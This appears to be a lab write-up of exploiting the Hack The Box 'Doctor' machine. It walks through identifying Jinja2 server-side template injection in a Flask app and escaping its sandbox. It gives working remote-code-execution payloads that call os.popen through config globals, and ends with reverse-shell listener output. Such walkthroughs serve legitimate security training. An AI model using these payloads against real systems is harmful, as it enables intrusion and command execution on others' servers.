SSTI
SSTI is confirmed to be present in the title
parameter of the Post feature in the web application
The detection has been completed, I now need to identify the template engine
Identifying Template Engine
This is the decision tree for identifying the template engine.
While there are many template engines used by different web technologies, the earlier enumeration narrows down most of that.
As previously identified, the web application is built on
Flask 1.0.1
This critical information alone leaves me with 3 well-known template engines; Jinja2
, Mako
, and Tornado
Jinja2
flask uses jinja2 by default
Additionally, the earlier testing SSTI payload,{{7*7}}
, suggests that it is likely using Jinja2
, but I will still test for {{7*'7'}}
for confirmation
The output shows
7777777
This confirms that the target web application uses Jinja2
as template engine.
exploitation
First thing to do is to check whether or not if the debugging is enabled
Attempting to dump the current context via invoking the debugging
I get a code 500.
This indicates that debugging is disabled.
Checking the configuration
I am able to see the configuration for the template engine. Debugging set to False can be seen above as well.
The step to RCE through SSTI in Jinja are following:
- Escape from the sandbox environment
- Recover access to the regular Python expression
- RCE
In order to achieve the first step, global objects can be abused
These [global objects](These global objects are always accessible from the sandbox environment) are always accessible from the sandbox environment
From accessing the global objects, a class object needs to be accessed to progress further
Then to the “Object”
Lastly,
__subclasses__()
can be called from the “Object”
These are some of the examples made using all the 3 steps above
Execution
Following through by calling the
__subclasses__()
respectively
Now that I called the
__subclasses__()
, I am able to access hundreds of the regular Python expressions that I can use to read,write and execute
There is another way to perform SSTI in Jinja without accessing the “Object” class
It’s by accessing
__builtins__
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
From there, RCE is dead simple.
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id ; hostname").read() }}
Following through
Like so. SSTI led to OS Command Injection
Spawning a reverse shell from the payload
Upon reloading
/archive
, the page hangs
┌──(kali㉿kali)-[~/archive/htb/labs/doctor]
└─$ nnc 9998
listening on [any] 9998 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.209] 42084
whoami
web
hostname
doctor
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:eb:28 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.209/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:eb28/64 scope global dynamic mngtmpaddr
valid_lft 86396sec preferred_lft 14396sec
inet6 fe80::250:56ff:feb9:eb28/64 scope link
valid_lft forever preferred_lft forever
Initial Foothold established to the target system as the web
user via SSTI